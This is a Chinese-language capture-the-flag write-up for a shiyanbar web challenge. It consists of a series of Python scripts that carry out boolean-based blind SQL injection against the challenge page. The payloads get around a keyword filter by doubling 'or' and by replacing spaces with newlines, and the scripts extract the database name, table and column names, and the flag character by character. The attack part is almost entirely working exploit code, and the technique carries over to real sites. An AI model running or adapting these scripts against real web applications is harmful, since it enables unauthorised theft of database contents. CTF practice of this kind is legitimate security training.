CTF实验吧——认真一点！

我的第一只小爬虫

爆数据库长度

import requests
import re
import string
import threading
import time

s = requests.session()
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
str1 = "You are in"
header = {
         "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0"}

for i in range(1,25):
    key1 = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
    res = s.post(url,data=key1,headers=header).content.decode('utf-8')
    print(i)
    time.sleep(1)
    if str1 in res:
        print("database length:%s"%i)
        break

爆库名

import requests

url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
str = "You are in"
db=''
l="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~+=-*/\{}?!:@#$&[]._"

for i in range(1,19):
    for j in l:
        key = {'id':"0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0"%(i,j)}
        res = requests.post(url,data=key).text
        if str in res:
            db += j
            break
print(db)

爆表长度

import requests

url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
str = "You are in"
l = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."

i = int(1)
len = 0
while True:
   k = "0'oorr((select(mid(group_concat(table_name separatoorr '~')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0)"%i
   k = k.replace(' ',chr(0x0a))
   key = {'id':k}
   res = requests.post(url,data=key).text
   print(i)
   if str in res:
       print("table length is:%s"%i)
       break
   i += 1

爆表名

import requests
from bs4 import BeautifulSoup

url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
str = "You are in"
l = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."
table = ""

for i in range(1,12):
    for j in l:
        k = "0'oorr((select(mid(group_concat(table_name separatoorr '~')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0"%(i,j)
        k=k.replace(' ',chr(0x0a))
        key = {'id':k}
        res = requests.post(url,data=key).text
        print(i,j)
        if str in res:
            table += j
            break
print(table)

爆列宽

import requests

url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
str = "You are in"
l = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."

i = int(1)
while True:
        k = "0'oorr((select(mid(group_concat(column_name separatoorr '~')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0"%i
        k = k.replace(' ',chr(0x0a))
        key = {'id':k}
        res = requests.post(url,data=key).text
        print(i)
        if str in res:
            print("column length is:%s"%i)
            break
        i += 1

爆列名

import requests

url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
str = "You are in"
l = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."

column = ''
for i in range(1,7):
    for j in l:
        k = "0'oorr((select(mid(group_concat(column_name separatoorr '~')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(i,j)
        k = k.replace(' ',chr(0x0a))
        key = {'id':k}
        res = requests.post(url,data=key).text
        print(i,j)
        if str in res:
            column += j
            break
print(column)

得到flag

import requests
str = "You are in"
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]. "
i = 1
ss = ''
print("start")
for i in range(1,20):
    for j in guess:
        res = "0'oorr((mid((select(group_concat(fl$4g))from(fiag))from(%s)foorr(1)))='%s')oorr'0" % (i, j)
        # res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0"%i
        res = res.replace(' ', chr(0x0a))
        key = {'id': res}
        r = requests.post(url, data=key).text
        print(i, j)
        if str in r:
            ss += j
            break
print("flag is:%s"%ss)
print("end!")

flag为：flag{haha~you win!}